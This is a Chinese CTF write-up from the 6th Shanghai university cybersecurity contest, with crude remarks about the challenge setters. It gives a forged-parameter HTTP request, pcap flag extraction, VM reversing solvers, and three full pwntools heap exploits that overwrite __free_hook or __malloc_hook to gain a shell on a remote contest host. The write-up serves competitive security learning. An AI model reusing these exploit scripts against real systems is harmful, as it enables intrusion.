前言：足足花费了一个小时看misc1，这题很弱智，提示不给，考点不明，甚至还玩谜语人，这就是nt题（确信，至少排名还不错顺便偷了个三血
差不多得了
![图片[1]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/QQ图片20201114210850.png)
![图片[2]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/QQ图片20201114210906-1024x289.png)
![图片[3]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/QQ图片20201114211020.png)
比赛提交的wp地址（无嘴臭纯净享受）：
WEB
其他web做不出来，我是废物，hello题目exp打过去直接500，我傻了
web1
简单题，直接访问www.zip进行源码泄露下载
![图片[4]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/图片-33.png)
简单审一下就知道要伪造力，构造poc如下
POST /index.php?_POST[code]=114514 HTTP/1.1
Host: eci-2zeikzil0vb2fjw2li0f.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://eci-2zeikzil0vb2fjw2li0f.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zeikzil0vb2fjw2li0f.cloudeci1.ichunqiu.com/index.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1601103249; __jsluid_h=9de21f24099faf8476b805d68f4103ee;_POST[code]=233333
Upgrade-Insecure-Requests: 1
code=233333
随手sqlmap一把梭
![图片[5]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/图片-34.png)
MISC
可乐加冰纯傻逼，两道工控出的挺没意思的
pcap
根据协议，找到dnp3.0的response报文，length为91的则是flag字段，挨个拼接即可
![图片[6]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/图片-35.png)
![图片[7]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/图片-36.png)
拼接获得flag
flag{d989e2b92ea671f5d30efb8956eab1427625c}
pcap analysis
描述写的花里胡撒，结果直接看tcp流就出来了
直接追踪tcp流，找到flag类似的字段，逐次拼接，只取前两个字符
![图片[8]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/图片-37.png)
![图片[9]-第六届上海市大学生网络安全大赛Write UP-魔法少女雪殇](http://snowywar.top/wordpress/wp-content/uploads/2020/11/图片-38.png)
flag{323f986d429a689d3b96ad12dc5cbc701db0af55}
RE
帅宝，我的超人
真正的Babyre
- 虚拟机
- 流程甚至和输入有关
- 发现了下标的猫腻：0 0 1 1 2 2… 41 41 0 0 1 1… 41 41
- 逆向还原流程
- 程序对于每个字符的处理共两轮，0byte依赖1，1依赖2，。。。，40依赖41，41依赖0，所以从41开始爆破，第二轮的数字为
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>
uint32_t vmEip = 0;
uint32_t vmRegs = 0;
typedef uint8_t bool;
#define true 1
#define false 0
uint32_t a[] = {0x37d, 0xc0, 0x9,
0x3c6, 0x40, 0x81,
0x23d, 0x81, 0x2,
0x1c6, 0xc1, 0x42,
0x23d, 0x82, 0x7,
0x2c6, 0x42, 0x83,
0x1bd, 0x83, 0x8, 0x3c6, 0x83, 0x4, 0x2bd, 0x44, 0x6, 0x2c6, 0xc4, 0x45, 0x37d, 0x85, 0x9, 0x3c6, 0xc5, 0x6, 0x23d, 0x6, 0xb, 0x2c6, 0xc6, 0xc7, 0x1bd, 0x47, 0xa, 0x3c6, 0x87, 0x88, 0x23d, 0xc8, 0x4, 0x1c6, 0x8, 0x89, 0x33d, 0x89, 0xb, 0xc6, 0xc9, 0xa, 0x3bd, 0x8a, 0xc, 0x2c6, 0x4a, 0xb, 0x2bd, 0xcb, 0x4, 0x2c6, 0x8b, 0x4c, 0x33d, 0x4c, 0x7, 0x1c6, 0xcc, 0xcd, 0x1bd, 0x8d, 0x7, 0x1c6, 0x4d, 0x4e, 0x23d, 0x8e, 0xa, 0x3c6, 0x8e, 0x4f, 0x2fd, 0xcf, 0x4, 0x1c6, 0xcf, 0xd0, 0x2bd, 0x10, 0x3, 0x1c6, 0xd0, 0x91, 0x1fd, 0x11, 0x9, 0x1c6, 0x91, 0x92, 0x3fd, 0x52, 0x4, 0x3c6, 0x52, 0x53, 0x2fd, 0x93, 0x6, 0x3c6, 0x93, 0xd4, 0x33d, 0x54, 0x3, 0xc6, 0x94, 0x95, 0x3bd, 0xd5, 0xc, 0x1c6, 0x95, 0x56, 0x2fd, 0x16, 0xb, 0x1c6, 0xd6, 0xd7, 0x27d, 0x57, 0xd, 0xc6, 0xd7, 0x58, 0x37d, 0x98, 0x4, 0xc6, 0xd8, 0x59, 0x1bd, 0xd9, 0xa, 0x3c6, 0x99, 0xda, 0x13d, 0xda, 0x7, 0x2c6, 0x9a, 0x9b, 0x2bd, 0x9b, 0x7, 0x2c6, 0x9b, 0x5c, 0x2bd, 0x9c, 0x2, 0x3c6, 0xdc, 0x5d, 0x17d, 0x9d, 0x6, 0x1c6, 0x9d, 0x5e, 0x23d, 0xde, 0x6, 0x1c6, 0x9e, 0xdf, 0x27d, 0xdf, 0xc, 0x3c6, 0x5f, 0x60, 0x13d, 0x60, 0x9, 0x2c6, 0xa0, 0x61, 0x37d, 0x21, 0xe, 0x1c6, 0xa1, 0xe2, 0x2fd, 0xe2, 0x7, 0x1c6, 0x62, 0x23, 0x17d, 0x63, 0x8, 0x2c6, 0x63, 0xe4, 0x13d, 0xa4, 0xb, 0x2c6, 0xe4, 0xa5, 0xfd, 0x25, 0xd, 0x3c6, 0xe5, 0xe6, 0xfd, 0xa6, 0xe, 0x2c6, 0x26, 0x27, 0x3fd, 0xa7, 0xc, 0x3c6, 0x67, 0xa8, 0x3bd, 0x28, 0x4, 0x2c6, 0xa8, 0x69, 0x2bd, 0x69, 0x7, 0x3c6, 0x69, 0x80, 0x2bd, 0x80, 0xd, 0x1c6, 0x40, 0xc1, 0x1fd, 0x41, 0x8, 0x3c6, 0xc1, 0x42, 0x27d, 0x82, 0xc, 0x3c6, 0xc2, 0x43, 0x13d, 0x3, 0xa, 0x2c6, 0x83, 0x4, 0x3fd, 0x44, 0x3, 0x3c6, 0xc4, 0x85, 0x3bd, 0x5, 0x9, 0x2c6, 0xc5, 0x86, 0x3bd, 0x6, 0x5, 0x3c6, 0x86, 0x47, 0x3bd, 0x7, 0xc, 0x2c6, 0x87, 0x88, 0xfd, 0x88, 0xd, 0x1c6, 0x48, 0x89, 0x27d, 0x49, 0xb, 0x1c6, 0x9, 0xa, 0x13d, 0xca, 0xc, 0x2c6, 0x4a, 0xb, 0x1bd, 0x8b, 0x7, 0x3c6, 0x4b, 0xcc, 0x17d, 0xcc, 0x6, 0x1c6, 0x4c, 0xcd, 0x2bd, 0x4d, 0xa, 0xc6, 0xd, 0xe, 0x23d, 0xe, 0x8, 0x2c6, 0x4e, 0xf, 0xfd, 0x4f, 0x9, 0x2c6, 0x8f, 0x50, 0x3bd, 0xd0, 0xd, 0x3c6, 0x10, 0x91, 0xfd, 0x11, 0x8, 0x1c6, 0x51, 0x52, 0x1bd, 0x12, 0x5, 0x2c6, 0xd2, 0x93, 0x23d, 0x93, 0xa, 0xc6, 0x93, 0x54, 0x3bd, 0x54, 0x7, 0x1c6, 0x94, 0xd5, 0x1bd, 0x95, 0xd, 0x1c6, 0x15, 0xd6, 0x23d, 0x96, 0x4, 0x2c6, 0x56, 0x57, 0x2bd, 0xd7, 0xd, 0x1c6, 0xd7, 0x18, 0x13d, 0x98, 0x2, 0x1c6, 0xd8, 0x99, 0x27d, 0x59, 0xc, 0x1c6, 0x99, 0x9a, 0x33d, 0xda, 0xa, 0x2c6, 0x5a, 0x9b, 0x3bd, 0x5b, 0xc, 0xc6, 0x1b, 0x5c, 0x37d, 0x5c, 0x9, 0x1c6, 0xdc, 0x5d, 0x33d, 0xdd, 0x7, 0x1c6, 0x1d, 0x9e, 0x17d, 0xde, 0xe, 0x2c6, 0x9e, 0x5f, 0x1fd, 0x9f, 0x5, 0x1c6, 0xdf, 0xe0, 0x17d, 0xe0, 0xb, 0x2c6, 0xe0, 0x21, 0x3fd, 0xe1, 0x7, 0xc6, 0xa1, 0x62, 0x23d, 0xa2, 0xd, 0x3c6, 0x62, 0x63, 0x1fd, 0x63, 0x7, 0x1c6, 0xa3, 0xe4, 0x1fd, 0xe4, 0xd, 0x2c6, 0x24, 0x25, 0x23d, 0x125, 0xb, 0x3c6, 0xa5, 0xe6, 0x17d, 0xe6, 0x5, 0x2c6, 0xa6, 0xa7, 0x3bd, 0xa7, 0xe, 0x1c6, 0x27, 0x68, 0x13d, 0x68, 0x6, 0xc6, 0x28, 0xe9,
0x27d, 0xe9, 0xa,
0x3c6, 0xe9, 0x40,
0x3e7, 0x38, 0x4e};
uint8_t cmpData[] = {0x1f, 0x18, 0xf, 0xfa, 0xb8, 0x63, 0x64, 0x89, 0x18, 0x68, 0x7c, 0x19, 0x14, 0x2d, 0x7d, 0x58, 0x0, 0x1e, 0x54, 0x6a, 0x41, 0x3c, 0x36, 0x3e, 0x56, 0x13, 0x4, 0x3b, 0x2e, 0x4b, 0x79, 0x43, 0x7a, 0x22, 0x45, 0x6e, 0x3a, 0x75, 0x26, 0xc8, 0xc0, 0x8e};
uint32_t sub120d(uint32_t a2, uint32_t v20, uint32_t vm_regs, uint32_t *vm_eip)
{
if (v20 == 999)
{
return 9;
}
else if (*vm_eip != 6 || (vm_regs & 0xFF000000))
{
if (*vm_eip == 6 && (vm_regs & 0xFF000000))
{
*vm_eip = 2;
return *vm_eip;
}
else
{
while (1)
{
uint32_t t = (v20 >> *vm_eip) & 1;
if (t)
break;
++*vm_eip;
}
return *vm_eip;
}
}
else
{
*vm_eip = 0;
return 7;
}
}
void vm(char *buf,uint32_t start)
{
uint32_t v22 = start;
uint8_t vm_regs[4];
bool flag = true;
uint32_t v20=a[v22];
vmEip=0;
vm_regs[0]=(uint8_t)a[v22+1];
vm_regs[1]=(uint8_t)a[v22+2];
vm_regs[2]=(uint8_t)a[v22+1];
vm_regs[3]=1;
uint32_t res = 0;
uint32_t tmp = 0;
uint8_t printFlag = -1;
for (size_t i = 0; i < 99999 && flag; i++)
{
res = sub120d(v20, v20, *(uint32_t *)vm_regs, &vmEip);
vm_regs[2]%=64;
if (vm_regs[2] == printFlag)
printf("%02X:%d: ",v22, res);
switch (res)
{
case 0:
if (vm_regs[2] == printFlag)
printf("reg[0]=buf[%d]\n", vm_regs[0] % 64);
vm_regs[0] = buf[vm_regs[0] % 64];
break;
case 1:
if (vm_regs[2] == printFlag)
printf("reg[0]=buf[%d];reg[1]=buf[%d]\n", vm_regs[0] % 64, vm_regs[1] % 64);
vm_regs[0] = buf[vm_regs[0] % 64];
vm_regs[1] = buf[vm_regs[1] % 64];
break;
case 2:
tmp = vm_regs[0] ^ vm_regs[1];
if (vm_regs[2] == printFlag)
printf("tmp=reg[1]^reg[0](reg[1]=0x%x)\n",vm_regs[1]);
break;
case 3:
vm_regs[1] &= vm_regs[0];
if (vm_regs[2] == printFlag)
printf("reg[1]&=reg[0]\n");
break;
case 4:
vm_regs[1] *= 2;
vm_regs[3] = vm_regs[1];
if (vm_regs[2] == printFlag)
printf("reg[1]*=2;reg[3]=reg[1]\n");
break;
case 5:
case 6:
vm_regs[0] = tmp;
buf[vm_regs[2] % 64] = tmp;
if (vm_regs[2] == printFlag)
printf("reg[0]=tmp;buf[%d]=tmp\n", vm_regs[2] % 64);
break;
case 7:
v22 += 3;
v20 = a[v22];
vm_regs[0] = (uint8_t)a[v22 + 1];
vm_regs[2] = vm_regs[0];
vm_regs[1] = (uint8_t)a[v22 + 2];
vm_regs[3] = 1;
if (vm_regs[2] == printFlag)
printf("\n");
vmEip = -1;
break;
case 9:
if (vm_regs[2] == printFlag)
printf("exit\n");
flag = false;
}
++vmEip;
// printf("%d\n",buf[41]);
}
}
void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}
int main()
{
char s[256] = {0};
char ts[256]={0};
for(size_t j=41;j>0;j--){
ts[0]=cmpData[0];
for(size_t i=0;i<0xFf;i++){
memcpy(s,ts,42);
s[j]=(char)i;
// uint8_t t = s[41];
vm(s,j*3*2+0xfc);
// printf("0x%x 0x%x\n",s[41],t);
if((uint8_t)s[j]==cmpData[j]){
printf("0x%02x\n",i);
ts[j]=i;
break;
}
}
}
for(size_t i=0;i<0xFf;i++){
memcpy(s,ts,42);
s[0]=(char)i;
// uint8_t t = s[41];
vm(s,0xfc);
// printf("0x%x 0x%x\n",s[41],t);
if((uint8_t)s[0]==cmpData[0]){
printf("0x%02x\n",i);
ts[0]=(char)i;
break;
}
}
printArray("flag", ts, 42);
for(size_t j=41;j>0;j--){
for(size_t i=0x20;i<0x7f;i++){
memcpy(s,ts,42);
s[j]=(char)i;
// uint8_t t = s[41];
vm(s,j*3*2);
// printf("0x%x 0x%x\n",s[41],t);
if((uint8_t)s[j]==cmpData[j]){
printf("0x%02x\n",i);
ts[j]=i;
break;
}
}
}
for(size_t i=0x20;i<0x7f;i++){
memcpy(s,ts,42);
s[0]=(char)i;
// uint8_t t = s[41];
vm(s,0);
// printf("0x%x 0x%x\n",s[41],t);
if((uint8_t)s[0]==cmpData[0]){
printf("0x%02x\n",i);
ts[0]=i;
break;
}
}
printArray("flag", ts, 42);
printf("%s\n",ts);
return 0;
}flag{e1750505-7a05-4de9-a333-72ec8cd26a78}
ctfvm
- 直接打开，然后libc_start_main一系列的东西
- 进入IDA识别出的main函数，然后直接进入几个简短的函数，来到一个大的函数sub_BE60，有很多switch-case，推测这是个虚拟机，进而分析出指令寄存器，eip，esp，regs等 这里要注意传递给大函数的参数，一个是虚拟机的指令界限0x25，一个是虚拟机的指令序列unk_90C40，但是超出指令界限会输出错误，但是会继续执行
- 分析每一个操作码对应的操作，并写出反汇编器
- 利用IDA脚本打印出指令序列并反汇编
- 反汇编的主逻辑不是很清晰，但是大概可以理解，即首先判断用户输入被flag{}包裹，然后判断大括号里面的内容，总长度为38；另外分析指令集的过程中可以看出，打印是一个字符一个字符打的
- flag括号内的内容判断逻辑为：第i位*251=内存中的一个数，内存中的内容可以通过gdb调试得到。由于最后and 了0xFF截断，所以可以按字节穷举
- 反汇编和解题脚本如下
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>
void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}
void vm(uint64_t *a,size_t len){
size_t eip=0;
uint64_t eflags=0;
// 共16个寄存器
while(eip<len){
uint64_t instr = a[eip+2],op1=a[eip],op2=a[eip+1];
printf("%02x:%02x: ",eip,instr);
switch((instr-128)&0xFF){
case 216:
printf("xor reg[%d],reg[%d]\n",op1,op2);
break;
case 184:
printf("mov reg[%d],%d\n",op1,op2);
break;
case 79:
printf("output\n");
break;
case 13:
printf("input\n");
break;
case 31:
printf("push reg[%d]\n",op1);
break;
case 42:
printf("add reg[%d],%d\n",op1,op2);
break;
case 141:
printf("eflags=reg[%d]<%d\n",op1,op2);
// eflags=reg[op1]==op2;
break;
case 67:
printf("jnz 0x%x\n",op1);
break;
case 181:
printf("not recognized\n");
break;
case 10:
printf("pop reg[%d]\n",op1);
break;
case 148:
printf("jz 0x%x\n",op1);
break;
case 229:
printf("not recognized\n");
break;
case 0:
printf("mov [reg[%d]],reg[%d]\n",op1,op2);
break;
case 122:
printf("sub reg[%d],%d\n",op1,op2);
break;
case 24:
printf("and reg[%d],reg[%d]\n",op1,op2);
break;
case 0x35:
printf("exit");
break;
case 35:
printf("and reg[%d],%d\n",op1,op2);
break;
case 38:
printf("mov [reg[%d]],%d\n",op1,op2);
break;
case 39:
printf("shl reg[%d],%d\n",op1,op2);
break;
case 43:
printf("sub reg[%d],reg[%d]\n",op1,op2);
break;
case 57:
printf("shl reg[%d],reg[%d]\n",op1,op2);
break;
case 78:
printf("mul reg[%d],reg[%d]\n",op1,op2);
break;
case 91:
printf("shr reg[%d],reg[%d]\n",op1,op2);
break;
case 102:
printf("mov reg[%d],[reg[%d]]\n",op1,op2);
break;
case 115:
printf("or reg[%d],reg[%d]\n",op1,op2);
break;
case 171:
printf("jz 0x%x\n",op1);
break;
case 179:
printf("shr reg[%d],%d\n",op1,op2);
break;
case 189:
printf("mov reg[%d],reg[%d]\n",op1,op2);
break;
case 196:
printf("mul reg[%d],%d\n",op1,op2);
break;
case 200:
printf("add reg[%d],reg[%d]\n",op1,op2);
break;
case 235:
printf("xor reg[%d],%d\n",op1,op2);
break;
case 133:
printf("jmp 0x%x\n",op1);
break;
case 37:
printf("eflags=reg[%d]<reg[%d]\n",op1,op2);
break;
}
eip+=3;
}
}
int main()
{
// 反汇编脚本
uint64_t s[1024] = {0x0, 0x0, 0x58, 0x1, 0x1, 0x58, 0x2, 0x2, 0x58, 0x3, 0x3, 0x58, 0x6, 0x6, 0x58, 0x7, 0x7, 0x58, 0x0, 0x69, 0x38, 0x1, 0x6e, 0x38, 0x2, 0x70, 0x38, 0x3, 0x75, 0x38, 0x6, 0x74, 0x38, 0x7, 0x20, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf, 0x7, 0x0, 0xcf, 0x0, 0x66, 0x38, 0x1, 0x6c, 0x38, 0x2, 0x61, 0x38, 0x3, 0x67, 0x38, 0x6, 0x3a, 0x38, 0x7, 0x20, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf, 0x7, 0x0, 0xcf, 0x1, 0x1, 0x58, 0x0, 0x0, 0x8d, 0x0, 0x0, 0x9f, 0x1, 0x1, 0xaa, 0x1, 0x26, 0xd, 0x1f, 0x0, 0xc3, 0x0, 0x0, 0x35, 0x0, 0x0, 0x8a, 0x0, 0x7d, 0xd, 0x12, 0x0, 0x14, 0x0, 0x62, 0x38, 0x1, 0x79, 0x38, 0x2, 0x65, 0x38, 0x3, 0x7e, 0x38, 0x6, 0x7e, 0x38, 0x7, 0x7e, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf, 0x7, 0x0, 0xcf, 0x0, 0xa, 0x38, 0x0, 0x0, 0xcf, 0x0, 0x0, 0x35, 0x8, 0x100, 0x38, 0x8, 0xe1, 0xd, 0x19, 0x0, 0xc3, 0x0, 0x0, 0x8a, 0x8, 0x0, 0x80, 0x8, 0x1, 0xfa, 0x13, 0x0, 0x5, 0x0, 0x0, 0x8a, 0x0, 0x7b, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x67, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x61, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x6c, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x66, 0xd, 0x3, 0x0, 0x2b, 0x9, 0x9, 0x58, 0xa, 0xe1, 0x38, 0x7, 0x9, 0xe6, 0x6, 0xa, 0xe6, 0x6, 0xfb, 0x44, 0x6, 0xff, 0xa3, 0x6, 0x7, 0xa5, 0x3, 0x0, 0x2b, 0x9, 0x1, 0xaa, 0xa, 0x1, 0xaa, 0x9, 0x20, 0xd, 0x2a, 0x0, 0xc3, 0x0, 0x63, 0x38, 0x1, 0x6f, 0x38, 0x2, 0x72, 0x38, 0x3, 0x72, 0x38, 0x6, 0x65, 0x38, 0x7, 0x63, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf};
vm(s,sizeof(s)/8);
// 解题脚本
uint8_t cmpData[] = {0xed,0x06,0x11,0x0b,0xfc,0xe3,0xe8,0x06,0xed,0x0b,0xf7,0xf7,0x16,0x06,0xed,0x1b,0x0c,0xfc,0xe8,0x0c,0xf2,0x16,0xf7,0x02,0xf2,0x11,0xe3,0xe3,0x02,0x0c,0xf7,0xfc};
char flag[256]={0};
for(size_t i=0;i<32;i++){
for(size_t j=0x20;j<0x7f;j++){
if(((j*251)&0xFF)==cmpData[i]){
flag[i]=j;
printf("%d\n",j);
break;
}
}
}
printf("%s\n",flag);
return 0;
}PWN
柠檬yyds
lgtwo
1.通过off by one可以构造overlap chunk，其中可以通过先free(0x70)，再在相同位置free(0x90)的chunk拿到main_arena指针
2.攻击stdout的flag，泄漏libc基址
3.unlink，攻击freehook，改为system即可
from pwn import *
def add(size,data):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content?')
p.send(data)
def edit(index,data):
p.recvuntil('>>')
p.sendline('4')
p.sendlineafter('index ?',str(index))
p.sendafter('what is your new content ?',data)
def free(index):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('index ?')
p.sendline(str(index))
while True:
try:
# p = process('./pwn')
p = remote("123.56.52.128","45830")
add(0x18,'aaaa')
add(0x18,'bbbb')
add(0x60,'cccc')
add(0x50,'dddd')
add(0x10,'eeee')
edit(0,0x10 * 'a' + p64(0) + '\xf1')
free(1)
free(2)
add(0x18,'ffff')
add(0xc0,'dddd')
edit(1,0x18 * 'a' + '\x71')
edit(0,0x18 * 'a' + '\xf1')
free(1)
# io
add(0xe0,'a')
payload = p64(0)*3 + p64(0x71) + '\xdd\x65'
edit(1,payload)
add(0x60,'a')
add(0x60,'aaaa')
payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800)+p64(0)*3 + '\x00'
edit(6,payload)
stder = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
libc = ELF('./libc-2.23.so')
libc_base = stder - libc.sym['_IO_2_1_stderr_']
freehook= libc_base+libc.sym['__free_hook']
system_addr =libc_base + libc.sym['system']
log.success(hex(libc_base))
add(0x38,'a')
add(0x80,'b')
add(0x10,'c')
edit(9,'/bin/sh\x00')
# unlink
payload = p64(0) + p64(0x31) + p64(0x6020f8 - 0x18) + p64(0x6020f8 - 0x10) + 0x10 * 'a' + p64(0x30) +'\x90'
edit(7,payload)
free(8)
edit(7,'a' * 24 + p64(freehook))
edit(7,p64(system_addr))
# gdb.attach(p)
free(9)
p.interactive()
break
except Exception as e:
print(e)
p.close()
continuemaj0rone
1.利用uaf布局堆结构，改0x70堆块的fd为IO附近的fake chunk，其中也可以通过先free(0x70)，再在相同位置free(0x90)的chunk拿到main_arena指针
2.改IO_2_1_stdout的flag，泄漏libc地址
3.利用uaf攻击__malloc_hook，改为gadget
from pwn import *
pwn = ELF('./pwn')
libc = ELF('./libc-2.23.so')
def add(size,data = '\n'):
p.sendlineafter('>> ','1')
p.sendlineafter('please answer the question','80')
p.sendlineafter('______?',str(size))
p.sendafter('start_the_game,yes_or_no?',data)
def edit(index,data):
p.sendlineafter('>> ','4')
p.sendlineafter('index ?',str(index))
p.sendafter('__new_content ?',data)
def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index ?',str(index))
while True:
try:
p = remote("123.56.52.128",18523)
add(0x60)
add(0x60)
add(0x18)
add(0x18)
free(1)
free(0)
free(1)
edit(1,'\x40')
payload = p64(0) * 6
payload += p64(0) + p64(0x71)
edit(0,payload)
add(0x60)
add(0x60)
free(1)
payload = '\x00'*40 + p64(0x91)
edit(5,payload)
free(1)
payload = p64(0) * 5 + p64(0x71) + '\xdd\x65' # IOout
edit(5,payload)
payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) + p64(0) * 3 + '\x00'
add(0x60)
add(0x60)
edit(7,payload)
stderr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
libc_base = stderr - libc.sym['_IO_2_1_stderr_']
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0x60,'attack __malloc_hook')
free(8)
edit(8,p64(malloc_hook - 0x23))
one_gadget = libc_base + 0xf1207
payload = 0x13 * 'a' + p64(one_gadget)
add(0x60,'a')
add(0x60,'a')
edit(10,payload)
# add(0x10,'getshell')
p.interactive()
break
except Exception as e:
print(e)
p.close()
continue
EASY_ABNORMAL
1.格式化字符串泄漏__libc_start_main
2.通过uaf，利用fastbin的fd指针泄漏堆地址
3.在堆上写入gadget，栈溢出使栈移到堆ret gadget从而getshell
from pwn import *
binary = "./pwn"
libc = ELF('./libc-2.23.so')
p = remote("123.56.52.128","10012")
def name(payload):
p.sendafter('NAME: ',payload)
def add(data):
p.sendlineafter('CHOICE :','2')
p.sendafter('cnt:',data)
def free(index):
p.sendlineafter('CHOICE :','3')
p.sendlineafter('idx:',str(index))
def show_note():
p.sendlineafter('CHOICE :','4')
def format():
p.sendlineafter('CHOICE :','1')
def gift(payload):
p.sendlineafter('CHOICE :','23333')
p.sendafter("INPUT:",payload)
name("%11$p\n")
format()
p.recvuntil('0x')
main = int(p.recv(12),16) - 240
libc_base = main - libc.sym['__libc_start_main']
one_gadget = libc_base + 0x4527a
payload = p64(0) * 4 + p64(one_gadget)
add(payload + '\n')
add(payload + '\n')
free(0)
free(1)
show_note()
p.recvuntil('idx 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
payload1 = '\x00' * 32 + p64(heap_addr + 0x28)
gift(payload1)
p.interactive()
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